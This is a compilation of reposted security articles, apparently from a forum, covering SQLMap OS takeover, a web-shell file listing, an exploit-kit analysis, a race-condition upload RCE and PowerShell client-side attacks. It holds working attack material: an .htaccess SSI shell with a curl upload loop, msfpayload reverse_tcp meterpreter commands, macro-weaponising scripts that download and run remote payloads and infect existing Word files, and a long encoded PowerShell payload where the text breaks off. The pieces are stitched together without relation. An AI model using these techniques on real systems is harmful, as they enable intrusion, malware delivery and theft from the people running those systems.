“xp_cmdshell”? It is used for executing a given command string as an operating-system command. In return, it gives the output as a standard text. In short, it grants non-administrative users permissions to execute OS shell, By exploiting this procedure, SQLMap tried to call Windows OS shell which indeed was successfully taken. Advantages of getting the deeper level access of the system: get the user credentials or password hashes to crack, get an interactive shell in place which will allow you to download or upload files, run OS level commands to explore internal network, install programs for further exploitation of victim’s network by creating camouflage, further exploitation using metasploit, create a backdoor in the victim system. [h=4]0wnage& Advance SQLMap Usage[/h] Operating System Level Access: [TABLE] [TR] [TD=width: 152]Switch[/TD] [TD=width: 372]Details[/TD] [/TR] [TR] [TD=width: 152]–os-cmd=OSCMD[/TD] [TD=width: 372]Run operating system level commands[/TD] [/TR] [TR] [TD=width: 152]–os-shell[/TD] [TD=width: 372]Invoke an interactive shell for communication[/TD] [/TR] [TR] [TD=width: 152]–os-pwn[/TD] [TD=width: 372]Injecting a Meterpreter shell or VNC[/TD] [/TR] [TR] [TD=width: 152]–os-smbrelay[/TD] [TD=width: 372]One click prompt for an OOB shell, meterpreter or VNC[/TD] [/TR] [TR] [TD=width: 152]–os-bof[/TD] [TD=width: 372]Stored procedure buffer overflow exploitation[/TD] [/TR] [TR] [TD=width: 152]–priv-esc[/TD] [TD=width: 372]Database process’ user privilege escalation[/TD] [/TR] [TR] [TD=width: 152]–msf-path=MSFPATH[/TD] [TD=width: 372]Local path where Metasploit Framework 3 is installed[/TD] [/TR] [/TABLE] File System Level Access: There are options which can be used to access the underlying file system of the database server. [TABLE] [TR] [TD=width: 152]Switch[/TD] [TD=width: 372]Details[/TD] [/TR] [TR] [TD=width: 152]–file-read=RFILE[/TD] [TD=width: 372]Read a file from the back-end DBMS file system[/TD] [/TR] [TR] [TD=width: 152]–file-write=WFILE[/TD] [TD=width: 372]Write a local file on the back-end DBMS file system[/TD] [/TR] [TR] [TD=width: 152]–file-dest=DFILE[/TD] [TD=width: 372]Back-end DBMS absolute filepath to write to[/TD] [/TR] [/TABLE] Windows Registry Access: These options can be used to access the back-end database management system’s Windows registry. [TABLE] [TR] [TD=width: 152]Switch[/TD] [TD=width: 372]Details[/TD] [/TR] [TR] [TD=width: 152]–reg-read[/TD] [TD=width: 372]Read a Windows registry key value[/TD] [/TR] [TR] [TD=width: 152]–reg-add[/TD] [TD=width: 372]Write a Windows registry key value data[/TD] [/TR] [TR] [TD=width: 152]–reg-del[/TD] [TD=width: 372]Delete a Windows registry key value[/TD] [/TR] [TR] [TD=width: 152]–reg-key=REGKEY[/TD] [TD=width: 372]Windows registry key[/TD] [/TR] [TR] [TD=width: 152]–reg-value=REGVAL[/TD] [TD=width: 372]Windows registry key value[/TD] [/TR] [TR] [TD=width: 152]–reg-data=REGDATA[/TD] [TD=width: 372]Windows registry key value data[/TD] [/TR] [TR] [TD=width: 152]–reg-type=REGTYPE[/TD] [TD=width: 372]Windows registry key value type[/TD] [/TR] [/TABLE] [h=4]Few Tricky Shots:[/h] Many times while performing penetration testing, there are lots of challenges which people take as hurdles. These days, there are different technologies used for application development which you need to understand while making strong strategies for testing. SQLMap and SOAP (Simple Object Access Protocol) request: Previously SQLMap couldn’t perform testing on SOAP requests but now this functionality has been added.The process to perform SOAP request analysis is quite simple: Capture your SOAP request Save it in a text file along with the possible vulnerable parameters (We’ll call it as So_request.txt). Use below command for SQLMap along with “-p” option if you are aware of the vulnerable parameter: ./sqlmap.py -r So_request.txt -p <vulnerable parameter> SQLMap will automatically parse the SOAP request and try to penetrate into the vulnerable parameter./li> SQLMap and JSON (JavaScript Object Notation) request: On similar lines of use of SQLMap for SOAP requests, JSON requests can be parsed and penetrated. For JSON type of request, SQLMap will prompt you a basic question stating that SQLMap has detected JSON type of request in the “request file” and if you’d like to continue? Once you answer yes, the tool will parse the request and go its own way of attacking. SQLMap and Proxy Server: In a typical corporate environment network, you have to deal with lots of approvals for proper network access and internet access. These types of networks are usually secured and monitored using controlled proxy servers for all the traffic coming in or going out. In such cases, you have an option to add a proxy setting straight to the SQLMap option for communicating to the target URL. Though SQLMap is a command-line tool, it communicates over HTTP protocol hence, if you set a HTTP proxy for respective internet connection, SQLMap would accept it for its work. Command:./sqlmap.py --proxy=”http://<proxy-ip>:<proxy-port>” SQLMap On WAF (Web Application Firewall): For additional security, a number of organizations have deployed web application firewalls (WAF). Now, this is a tricky part to exploit such an environment. Here, normal SQL injection attack vectors will not work neither will normal scripts. A feature called “tamper script” of SQLMap makes our life little easy on WAF front. Few steps to make use of this option are: Go to SQLMap directory where SQLMap resides Look for a child directory called “tamper” In this directory, there are python scripts to be used Else you can visit “https://github.com/sqlmapproject/sqlmap/tree/master/tamper” for more python scripts to use with tamper option Just check the names or copy the names of those files for your reference To verify or check the backend WAF protection in place, “–identify-waf” can be used If you have found the file online then copy it and save it in SQLMap’s “tamper” directory Command:./sqlmap.py <other options> --tamper=”<script-name>.py” Example scripts: space2hash.py, space2mysqlblank.py can be used when MySQL is an underlying database, charunicodeencode.py, percentage.py to hide payloads against ASP/ASP.NET applications Anonymity: When you want to hide your identity and introduce yourself as anonymous to the target application you can opt for TOR (The Onion Router) proxies.In SQLMap, you can set your TOR proxy for hiding the source from where the traffic or request is generated.Simple switches which make this job easy are: –tor : With this switch SQLMap will try to set the TOR proxy settings automatically –tor-port, –tor-type : can help you out to set the TOR proxy manually –check-tor : this will check if the tor setup is appropriate and functional [h=4]Points to Remember:[/h] It is important to make use of such a powerful tool responsibly and maturely. Such a tool in a novice’s hands could create a devastating effect on the target system as well as the enterprise. SQLMap generates too many queries and could affect the performance of the target database if used in wrong way. Strange entries and changes in database schema are possible if the tool is not controlled and used exhaustively. For a learner in application security, it is very much advised to have thorough knowledge of SQL injection attack and the background of the tool which is used. Because of this, the use of SQLMap on test systems and sample applications is a must before using it on production systems. [h=4]References:[/h] https://github.com/sqlmapproject/sqlmap/wiki/ -SQLMap Project by github 0entropy: sqlmap and tor – SQLMap and TOR https://www.mavitunasecurity.com/s/research/OneClickOwnage.pdf – One click 0wnage What is an SQL Injection? SQL Injections: An Introduction - InfoSec Institute- Introduction to SQL injection Sql Injection 0wning Enterprise – One click 0wnage using SQL map by Taufiq Ali [h=4]Conclusion:[/h] Automated tools or scripts such as SQLMap are making it easy to exploit an SQL Injection vulnerability and leverage it to completely break into the system and gain full control over it. The extreme flexibility and openness of SQLMap certainly has an edge over other automated tools. No longer is it possible for development teams to put in temporary and often ineffective quick fixes for SQL injection. The end-result of using SQL Map is often so damaging, that the developers have no choice but to fix these issues quickly and properly. Moreover, the use of SQLmap in the hands of an experienced pen-tester can allow him/her to penetrate much deeper into the network and gain almost complete access to the server segment. On occasionwe have even used this attack tool to get access right up to the CTO’s own laptop! Sursa: From SQL Injection To 0wnage Using SQLMap - Checkmate Analysis: From the output received from SQLMap, we can conclude following points: Analysis: From the output received from SQLMap, we can conclude following points: Analysis: As we can see from the screenshot, SQLMap could successfully enumerate 6 column details from the specified table “users” and database – dvwa. Analysis: As we can see from the screenshot, SQLMap could successfully enumerate 2 table names from the specified database – dvwa. Analysis: SQLMap enumerated names of available databases (overall 7 databases names) Analysis: By looking at the output given by SQLMap we can conclude following points:
-
... c99_w4cking.txt Downloads: 0, Size: 140 KB 2009-11-17 03:56:00 Crystal.txt Downloads: 0, Size: 55 KB 2009-11-17 03:54:42 ctt_sh.txt Downloads: 0, Size: 127 KB 2009-11-17 03:56:44 cybershell.txt Downloads: 0, Size: 34 KB 2009-11-17 03:58:15 dc.rar Downloads: 0, Size: 988 b 2009-11-17 03:56:54 dC3 Security Crew Shell PRiV.txt Downloads: 0, Size: 42 KB 2009-11-17 03:57:56 Dive Shell 1.0 - Emperor Hacking Team.txt Downloads: 0, Size: 5 KB 2009-11-17 03:58:17 dotnet.html Downloads: 0, Size: 507 b 2009-11-17 03:57:21 DTool Pro.txt Downloads: 0, Size: 14 KB 2009-11-17 03:54:46 Dx.txt Downloads: 0, Size: 109 KB 2009-11-17 03:56:39 erne.txt Downloads: 0, Size: 42 KB 2009-11-17 03:53:58 fso.txt Downloads: 0, Size: 160 KB 2009-11-17 03:57:19 GFS web-shell ver 3.1.7 - PRiV8.txt Downloads: 0, Size: 24 KB 2009-11-17 03:55:59 gfs_sh.txt Downloads: 0, Size: 63 KB 2009-11-17 03:58:17 h4ntu shell [powered by tsoi].txt Downloads: 0, Size: 2 KB 2009-11-17 03:58:10 heykir.txt Downloads: 0, Size: 2 KB 2009-11-17 03:56:10 iMHaPFtp.txt Downloads: 0, Size: 52 KB 2009-11-17 03:57:17 ironshell.txt Downloads: 0, Size: 18 KB 2009-11-17 03:57:08 JspWebshell 1.2.txt Downloads: 0, Size: 25 KB 2009-11-17 03:57:05 kacak.txt Downloads: 0, Size: 33 KB 2009-11-17 03:58:03 KAdot Universal Shell v0.1.6.txt Downloads: 0, Size: 5 KB 2009-11-17 03:58:10 kshell.html Downloads: 0, Size: 507 b 2009-11-17 03:58:09 lamashell.txt Downloads: 0, Size: 2 KB 2009-11-17 03:58:19 Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.txt Downloads: 0, Size: 1 KB 2009-11-17 03:58:09 liz0zim.txt Downloads: 0, Size: 1 KB 2009-11-17 03:57:39 load_shell.txt Downloads: 0, Size: 14 KB 2009-11-17 03:57:53 matamu.txt Downloads: 0, Size: 4 KB 2009-11-17 03:57:54 Moroccan Spamers Ma-EditioN By GhOsT.txt Downloads: 0, Size: 7 KB 2009-11-17 03:57:23 myshell.txt Downloads: 0, Size: 16 KB 2009-11-17 03:57:03 Mysql interface v1.0.txt Downloads: 0, Size: 33 KB 2009-11-17 03:56:52 MySQL Web Interface Version 0.8.txt Downloads: 0, Size: 34 KB 2009-11-17 03:56:19 mysql.txt Downloads: 0, Size: 51 KB 2009-11-17 03:56:57 mysql_tool.txt Downloads: 0, Size: 32 KB 2009-11-17 03:54:39 NetworkFileManagerPHP.txt Downloads: 0, Size: 119 KB ... Sursa: My Files
-
[h=3]Defaced websites leading to Dokta Chef Exploit Kit and CVE-2014-6332[/h] Defacing websites has been the main stay for hacktivist groups to spread their message. During recent research, we found multiple compromised websites containing a malicious link to a "lulz.htm" page, which in turn leads the user to a Dokta Chef Exploit Kit (EK) hosting site. This appears to be a new tactic whereby a hacktivist group has escalated their activities by attacking users who visit defaced sites. This is out of character for such groups that generally seem more interested in disrupting private sector compliance with government entities, than targeting end users. The contact information provided on the defacement page shows that the culprits of this attack are claiming to be part of the "AnonGhostTeam" group, based on the associated Twitter account. This group has targeted numerous Government and Mass Media websites in the past including: swo.gov.sy syrianpost.gov.sy myisrael.org.il madagascar.gov.mg skynewsinternational.com ccvs.state.vt.us txep.uscourts.gov rsb.wp.mil.pl navy.gov.au igc.mowr.gov.iq embavenez.co.uk libyanembassy-italy.gov.ly [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]The defaced pages have been lifted in most cases, leaving only a Zone-H mirror[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Written in Beautiful Comic Sans[/TD] [/TR] [/TABLE] The defaced websites were found to be hosting a page called "lulz.htm", that contains highly obfuscated JavaScript code leading the users to a Dotka Chef EK infection cycle. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Obfuscated JavaScript on the compromised sites[/TD] [/TR] [/TABLE] CVE-2014-6332 exploit The Dokta Chef EK, was serving a malicious payload for a recently disclosed Microsoft Vulnerability CVE-2014-6332, that causes remote code execution when the user visits a specially crafted webpage using Internet Explorer (IE). The vulnerability is triggered when IE improperly accesses Object Linking and Embedding (OLE) objects in the memory. The vulnerable code has been present in OleAut32 library since IE version 3.0 and was recently fixed - MS14-064 The attacker is targeting only the 32-bit Windows Operating systems and also ensuring that the user's browser is IE, as seen in the exploit code snippet above. The exploit cycle will terminate if any of the following conditions are true: User is browsing from a 64-bit Windows Operating system User is browsing from a non-Windows Operating system, User's browser is not IE If the IE version used by the victim is lower than 4, the runshellcode() routine will be invoked, skipping the CVE-2014-6332 exploit cycle. If the version used is higher than 3, setnotsafemode() routine is invoked to exploit the CVE-2014-6332 vulnerability. The CVE-2014-6332 vulnerability is triggered by using an abnormally large array in conjunction with the redim Preserve function, as shown in the VBScript exploit code snippet above. At the time of research, the end payload was not reachable, but the VirusTotal Scan of the hostname shows a history of dubious activity. The Zscaler ThreatLabZ team has deployed multiple protections against this threat and is actively monitoring the malicious activity surrounding this mass compromise. Posted by Chris Mannon at 1:37 PM Sursa: Zscaler Research: Defaced websites leading to Dokta Chef Exploit Kit and CVE-2014-6332
-
Hacking file uploaders with race condition TL;DR I use a race condition to upload two avatars at the same time to exploit another Paperclip bug and get remote code execution on Apache+Rails stacks. I believe many file uploaders are vulnerable to this. It's fun, go ahead! 10 months ago I wrote about a simple but powerful bug in Paperclip <=3.5.3 (we can upload a file with arbitrary extension by spoofing Content-Type header). Thoughtbot mentioned this problem on their blog in quite a misleading way - "a slight problem". Considering it as an XSS only - yes, a slight problem. But as I said before we can get a code execution with it. Now when hopefully all your systems are patched I will try to explain an interesting attack scenario for Apache+Rails stacks. .htaccess as a shell Most likely .php/.pl are not executed by default because you are using Rails. But I bet you know about .htaccess file which can override Apache settings. And by default Apache 2.3.8 and earlier had AllowOverride All making the server respect .htaccess directives. At first I was trying to create a self-containing .htaccess shell but for some reason it doesn't work anymore. Apache doesn't apply SSI processor to .htaccess itself but does to %name%.htaccess: <Files ~ "^\.ht"> Require all granted # Order allow,deny # Allow from all </Files> Options +Includes AddType text/html .htaccess AddOutputFilter INCLUDES .htaccess AddType text/html .shtml AddOutputFilter INCLUDES .shtml #<!--#printenv --> This means we need to create two files (upload two avatars) - .htaccess and 1.htaccess - and they must exist at the same time. Impossible? No, welcome to the world of concurrency! The core flaw of file upload systems. While I was doing a research on race conditions I noticed that every file uploader is basically a voucher system. Once user is registered he has a "voucher" to upload one avatar. When the upload is done the previous avatar gets deleted. But the majority of such systems don't create a critical section carefully which let's us upload two or more avatars at the same time. Given current_avatar is 0.jpg we are making, say, 5 simultaneous requests with filenames 1.jpg, 2.jpg, 3.jpg, 4.jpg, 5.jpg Each of them will put %num%.jpg in the /uploads/user/%id% folder and try to delete the previous avatar (something like File.rm current_user.current_avatar) which is still 0.jpg. The last executed request will change current_avatar to 5.jpg (can be 1-4.jpg as well, it's random) in the database. Eventually the folder with user avatars will contain 1.jpg, 2.jpg, 3.jpg, 4.jpg, 5.jpg and first four will never be deleted. This can be used to waste disk space of the victim Exploitation steps 1. Prepare a URL delivering .htaccess payload. Or just use mine http://sakurity.com/.htaccess and http://sakurity.com/NUM.htaccess 2. Create a few simultaneous avatar uploading requests with your preferred tool. If you like curl: this will send five 1..5.htaccess uploads and five .htaccess uploads (just to have more chances for .htaccess) for i in {1..5}; do curl 'http://lh:9292/users' -H <HEADERS> --data 'utf8=%E2%9C%93&_method=put&authenticity_token=TOKEN%3D&user%5Bavatar%5D=http%3A%2F%2Fsakurity.com%2F'"$i"'.htaccess' & curl 'http://lh:9292/users' -H <HEADERS> --data 'utf8=%E2%9C%93&_method=put&authenticity_token=TOKEN%3D&user%5Bavatar%5D=http%3A%2F%2Fsakurity.com%2F.htaccess' & done The folder with uploads will look like this. Not all requests "made it", because I created just 8 workers (puma -w 8) Shell is available at http://lh:9292/system/users/avatars/000/000/001/original/1.htaccess P.S. Post "Wonders of Race Conditions" is coming soon. From basic hacking of account balances to bypassing "you have 5 more login attempts" and file upload systems. Concurrency is fun! Author: Egor Homakov on 5:27 AM Sursa: Egor Homakov: Hacking file uploaders with race condition
-
Acrobat Reader Windows sandbox is affected by critical flaw
Nytro posted a topic in Stiri securitate
Acrobat Reader Windows sandbox is affected by critical flaw by Pierluigi Paganini on November 30th, 2014 A researcher at Google discovered a critical flaw in Windows Acrobat Reader 11 Sandbox that could be exploited to access a system and gain higher privileges Google security researcher James Forshaw claims that the Acrobat Reader Windows sandbox is affected by critical vulnerability that could allow attackers to compromise a system and gain higher privileges. “The Acrobat Reader Windows sandbox is vulnerable to NTFS junction attack to write an arbitrary file to the filesystem under user permissions. This could be used to break out of the sandbox leading to execution at higher privileges.” states Forshaw in an advisory for version 11.0.8 (10.* not tested). The vulnerability discovered by the researcher is a race condition in the handling of the MoveFileEx call hook. The race can be won by the sandboxed process by using an OPLOCK to wait for the point where the MoveFileEx function opens the original file. Winning the race condition, the code in the sandbox could write an arbitrary file on the file system. The flaw is similar to another vulnerability previously discovered in the NtSetInformationFile, but it is different because it exploited a time of check to time of use race, this is possible because the broker opened the file rather than the sandboxed process. “While this is similar to the previous reported issue with NtSetInformationFile it’s different in that it doesn’t rely on the bug in the processing of the filepath instead exploits a TOCTOU race. It’s only possible in this case to race as it’s the broker which opens the file rather than the sandboxed process. It would probably be recommended to ensure that you cannot creation junctions ever, although this isn’t trivial in all cases where you passing back raw handles to the callee.” Forshaw adds. Forshaw included in the post a the source for proof-of-concept on the sandscape escape that on successful exploitation would create a file named ‘abc’ on the desktop. Pierluigi Paganini (Security Affairs – Windows Acrobat Reader 11 Sandbox, hacking) Sursa: Acrobat Reader Windows sandbox is affected by critical flaw | Security Affairs -
Using PowerShell for Client Side Attacks This blog post details everything I spoke about at DeepSec [ slides here] plus much more. here. tl;dr: Try the new scripts from Nishang Why using Client Side Attacks with PowerShell? When I started working on this, I just thought of using PowerShell scripts and payloads for client side attacks and not of the generator scripts. There are many awesome Social Engineering tools out there, then why PowerShell? There are many reasons, first and foremost, coding a tool not only helps in understanding the attacks but also improves the grasp over that language. Other reasons, like the tremendous power with PowerShell, easy availability on Windows targets, no or low detection rate, easy post exploitation also motivated me. With this blog post, a newer version of Nishang with "Client" category of attacks is also being released. Lets have a look at the scripts one-by-one. Out-Word Out-Word, as the name suggests, outputs a MS Word file with auto executable macro which runs given PowerShell commands and scripts. Lets see it in action. PS C:\nishang> . .\Out-Word.ps1 PS C:\nishang> Out-Word -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" Above command, writes a Word file called Salary_Details.doc in the current directory. When the file is opened, the PowerShell command Get-Process will be executed on the target. We could also use PowerShell one-liner download-execute to execute scripts on the target. For example, lets pass the PowerShell code generated using msfpayload (./msfpayload windows/x64/meterpreter/reverse_tcp LHOST=192.168.254.183 exitfunc=thread R | ./msfencode -t psh > powershell_payload.ps1) PS C:\nishang> Out-Word -PayloadURL http://192.168.254.1/powershell_payload.ps1 Now, if a target opens up the doc generated by above command, it would download and execute the PowerShell script resulting in a nice meterpreter session. Great! We could also pass arguments to the script. This is helpful if the script being executed loads a function. This holds true for Nishang and other PowerShell security related toolkits too. PS C:\nishang> Out-Word -Payload "http://192.168.254.1/Get-Information.ps1" -Arguments Get-Information In the above command, we have passed the name of the function loaded by Get-Information.ps1 as an argument to actually execute the functionality of the script, Otherwise, it would end up just loading the function. Alternatively, we can make a function call in the script itself. The ability to pass arguments is also useful if we want to use a script module like Powerpreter with Out-Word. Lets try calling a backdoor function from Powerpreter. PS C:\nishang> Out-Word -Payload "http://192.168.254.1/Powerpreter.psm1" -Arguments HTTP-Backdoor http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis We could also use Encoded scripts with the Out-Word to avoid communication with the Internet as in case with the above method. The Macro code seems to insert a new line if a long EncodedCommand is passed to it, which breaks the code. We could use the compression and encoding available with Invoke-Encode in Nishang to generate a much smaller command for an encoded string. Use –PostScriptCommand switch to use it. It is based on the Compress-Post script by Carlos here. We must properly escape the single quotes (‘) in the generated command to be able to use it with Out-Word. PS C:\nishang> Invoke-Encode .\Get-WLAN-Keys.ps1 –PostScriptCommand PS C:\nishang> Out-Word –Payload ‘powershell -ExecutionPolicy Bypass -noprofile -c Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(''dZJRb9MwEMffLfk7nLI+tBJJxhNSRSuVUVC10kZL0UCAJje5xmaOHdmXtdPGd8dpqmnA8Itl3/1//zv7dq0pSFkDH5Hiay1MfIn3Hjh74OztGWdJ/nW1zvJFztlKeSlMBZm411aUsJeqkFC2dePhthPtrIPr5WwFjbM7pdEnnAXC+3l+cbXINov1irONVB6aE+GZVhkoNAoHhAc6kry4w/If3kbik7xuPcEWwbUGds7WIDyIslZGeXKCAoMsVEhAQdS59PXMv8w+Zcs5Z1kO077vYHLs+xhfLlaXnEmiZpymjfWysCUm1lXp6zfn533Eh1ClSLbbpLB16kUdDIWX9jY1/TNxdjbtcN8u6lIjvVOmVKYajn4EX+FEDcNRF4awBvvw7h4mYJC8hO4EAbV/6hseIUeNBcU5uUCBOBNE6AxEM63hs0cHWZ8bhdwP1qEoZLze/gwaeBjcJBvbK4ejXydPPDTWURmqDsanCl6UXmGjRYHDqJP9bdfdwRiiVwPTav0S/MicP2f+t0sjapxEg5uo+6zJcRx6IGdh/3NAp8HE3I0J6+Z7h0roQJz9Bg=='')))), [iO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();’ Notice the escaping of single quotes using two single quotes in the compressed script. Still, I was unable to use big scripts with this option. Your mileage may vary. There is more to Out-Word than this. It could also be used to infect/arm/weaponize - I love the word weaponize *giggles* - existing Word files on a machine. It does so by creating copies of the existing files loaded with the auto executable macro. We just need to pass –WordFileDir parameter with it.The data in the original Word is also copied in the new one. PS C:\nishang> Out-Word -PayloadURL http://192.168.254.1/Evil.ps1 –WordFileDir C:\docfiles\ Use –Recurse parameter to perform the action recursively. Use the –RemoveDocx parameter to remove the original docx files. Macro Security with Out-Word: It disables the Macro Security on the machine the computer on which it is executed. That is, if you execute the PowerShell script on the target, the user will not see any warning about Macros. If you send the generated Word doc to the user, he will see the usual macro warning. Disabling Macro security is necessary otherwise we would be unable to write macros to the Word file. To safely use Out-Word, we could use –RemainSafe parameter which re-enables the macro security after doing the stuff. Now, imagine we get access to a fileserver and want to infect files there and increase the chances of users opening the infected files. Out-Word uses couple of small but smart tricks to try fooling users in case –WordFileDir is being used. 1. It copies the LastWriteTime from the .docx files and assign it to the generated .doc file. So at least to a normal user, the .doc files would not appear to be something newly appeared. 2. If the extensions for known file types are hidden on the machine, Out-Word adds .docx extension to the generated infected doc files. For example, for a file IT-Assets.docx it generates an infected file IT-Assets.docx.doc. The Macro code for both Out-Word and Out-Excel has been directly taken from Matt’s code here. Check out his blog for more interesting work on using PowerShell for client side attacks. Also, see this post by by Matthew Grabber on analysing Powerworm, couple of whose features have been implemented in Out-Word. Out-Excel Out-Excel works exactly same for Excel files as Out-Word for Word files. All the options and features are available for Out-Excel as well. We may have a better chance of a user trusting Macros in Excel than in Word. Out-Shortcut Lets see another interesting script, Out-Shortcut. It creates a shortcut which could be used to execute command and scripts on a target computer. It could be used for executing commands: PS C:\nishang> . .\Out-Shortcut.ps1<br /> PS C:\nishang> Out-Shortcut -Payload " -ExecutionPolicy Bypass -noprofile -c Get-Service" Note the absence of powershell.exe in the payload above. Out-Shortcut could also be used for every attack method discussed above. Lets discuss features exclusive to Out-Shortcut. It is easier to use encodedcomands with Out-Shortcut. We could just use Invoke-Encode with –OutCommand parameter and pass the generated encoded script to Out-Shortcut as below: PS C:\nishang> Out-Shortcut -Payload " –EncodedCommand []" Out-Shortcut assigns a default hotkey ‘F5’ to the Shortcut. This executes Shortcut whenever the key is pressed until the file is either deleted or machine reboot. A small but useful trick It also assigns icon of “explorer.exe” to the created shortcut. We could change both the options using –Hotkey and –Icon parameters as shown below: PS C:\nishang> Out-Shortcut -PayloadUrl "http://192.168.254.1/Get-Information.ps1" -HotKey 'F3' -Icon 'notepad.exe' Note that, the Hotkey works only if the script is executed on the target. Out-Shortcut is inspired from the attack mentioned in this blog at Trend Micro. Out-Java Out-Java could be used for Java Applet attacks. The script generates a signed JAR and HTML which uses the applet tag to load the JAR. The JAR and HTML need to be hosted on a web server and as soon as the target opens that URL, we would be in! The script by-default self signs the JAR. We must have JDK on our machine to be able to compile and sign the Java code. As other scripts in Nishang’s client side attack category, Out-Java is able to execute commands, encoded scripts and download-execute scripts. Here’s a simple example: PS C:\nishang> Out-Java -Payload "Get-Process" -JDKPath "C:\Program Files\Java\jdk1.7.0_25" Again, we could pass encoded PowerShell scripts, even the bigger ones, without any issue. If we the –NoSelfSign parameter, a non-signed JAR is generated which could later be signed with a trusted certificate. The Java code uses Operating System architecture detection and calls 32-bit PowerShell even on 64-bit computers. So, in case we need to execute shellcode, it could always be 32-bit. For example, lets generate a 32-bit reverse_tcp meterpreter in PowerShell and pass it to Out-Java. Use (./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.254.183 exitfunc=thread R | ./msfencode -t psh > powershell_payload.ps1). Encode it with Invoke-Encode with –OutCommand parameter and: PS C:\nishang> Out-Java -JDKPath "C:\Program Files\Java\jdk1.7.0_25" Payload "-EncodedCommand SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAcABWAFoAZABiADkAcwAyAEYASAAwADMANABQADkAQQBHAEgANgB3AEUAVABtAFEAOQBXADAAWABCAFoAbwBsAGEAKwBhAHQAVABvAEwAVQBUAFoAYwBaAGYAcABBAG8AcQBqAFkAcQBTADYANQBFAE4AYwBuAGEALwBmAGYAeABYAHAAbQAwADUARABEAHQAZwBEADIASQBFAHMAbAA3AHoAegBuADMAZwA1AEwANgB0AC8AZgBKADcAUABvAHkAbwBYAGQAWABIAC8ASgBMADgAcABxADgANgBYAFUANwB5ADQAcwAwAG4AVwAxADMAZQBjAEUASAB2AGMAKwBzAHkARgBoAHEAVwA2AGQAeABtAHYAYQBHAHEAMgA1AG4AVgAwAFgAcABoAHAASwBTAGgAMQB6AGMAMgBDAE0AWABCAG0AUwBXADgAUgB0AGUAawBMAHQATgB3AGEAcwB3AFAAVQB2AFQAbgBBADcAMgBhACsAbgB1AEwASQA0AEwAVgBwAFkARwBxAFQAWQBaAEoALwBIAEQAKwA4ADMAZgBiAEQAOQBKAGEAbABzAEIAbABXAGUATABwADkAMQBoACsAYQBiAEkATwBhAE4AOAArAE8AcAAvAHEARABrAHYAVwBNAGoAWgBZAGkAMQB1ADgAVQBGAE4AUABUAC8AagB2AE4AaABFAEYAVwBjAE4AVwBUAHkAawBuADIAdAB0AHkAbABpAHMARgBWAHoAcABWADgAcwAzAFkAUgBGAHUAbQBlAEIAUwB6AHMAZwBsAGcAbgBpAGIAaABwACsAYQBsAGoAWABiAEwARAA0AE8AWgBGAHQAKwBwAFEAWAAvAFQAMgBGAHMAMgBiAFoAawBYAEEAWQBRAHMANQBMAHYAVwBjAHUAQwA3AHAAOQBvAFgAbQBXAFkAcQA5ADYAYgBiAHEAZgBiADYAVwBkAGYAYgBtAGYAcgB2ADQAcQBMADMANQBKAGIAVQBWAEsAaABmAHcAVABKAEoAUwBNAEIARgBiAEgAaQBnAGkAVwBiAGIAQQBOAHEAUwBiADkAZAAvAHQARwBWAEMASQB2ADAAUABtADQAeQAyACsAcQBSAFUAUwBaAG0ANQBTADYAawBqAE8ARABLADIAeQBxAGoANABGAFcAUwAwAFMANABzAFMANwA0AHUASwBtAEIAYgAvAHYATABFADIAWABLADEASQB2ADMAdwB6AC8AbAA5ADkATwB0AGkALwB1AFgARABWADAARgByAFAAaQBiAFUATQBCADkAWgBJAEkAYgBBAEUANABQAFoAdQBEAHcAWQBnAGcAbgBzAHUAMgBLAHcAeAAwAEoAMQAwAC8AMABFAC8ARwBNAEwATABCADIAdwBqAE0AVABnAHcAdABRADIAVwAxAE4ANgBtAE8AawBRAHgAcwByAFoAQgAyAHMATAB0AEMAVABpAGkAbgB3AHgATwBDAEUAcwBlAFUAZwBQADYANABrAE8AQQBiAGMAbwBrAEkAYgBBAFoAYwBQAGcAdwBaAG8AUABUAHcAaQBLAEQAMgBCAEIAdABWAEYAUQBJAEkAegBGAGgAVQBoAEEAegBNAEEAdABNAFcAVQBNAHIAdgArAFQASQBGAFQASQBqAGkAVQBsADEARgBOADQAdwBsADAAZgBBAG0ATQAyAEIAcQBXAEYAQQBBAGsAdwB1AEcAUABGAE4AWgBHAHkAYwBkAE4AVwBvAEIATQB0AGcAQwBKAEEAZQBtAGMAaQB6AFcAMgBWAFkAWQBUAHgAWABpAHgAbQBrAGgAagBQAHMAawBsAHgAKwBpAHcALwBkAHEAQQBEAFkAQgBnAG8AZABFAHMAQwBuAEsARABGAEIANwBjAEUAcABOAG0AUgBuAEYAbwBPAG0AbQBrAFIATQBOAHUAQgB5AGsAQQBnAHoAVgBVAEcAUABFADkAdQBVAGgAMgBBAEUANwBWADgAeAAvAFIANQA5AGwAUQAyAHQAQQAyAHQAdQB0ADUAeABKAEQAYwBPAGIAaQBRAEgANwBDADIAcwBqAGEAdQB0AHAARgB1ADMAcQByAEgAUABCACsAcAB3AEUAegBSAFgAMQBCAEEAbQBRADYAbgBhAFcAcgBxAFEASgBnACsAegBoAGcAVwAxAG0AdQBjAFMAbABuADAAbwBnAGwALwB2AGEAUQBHA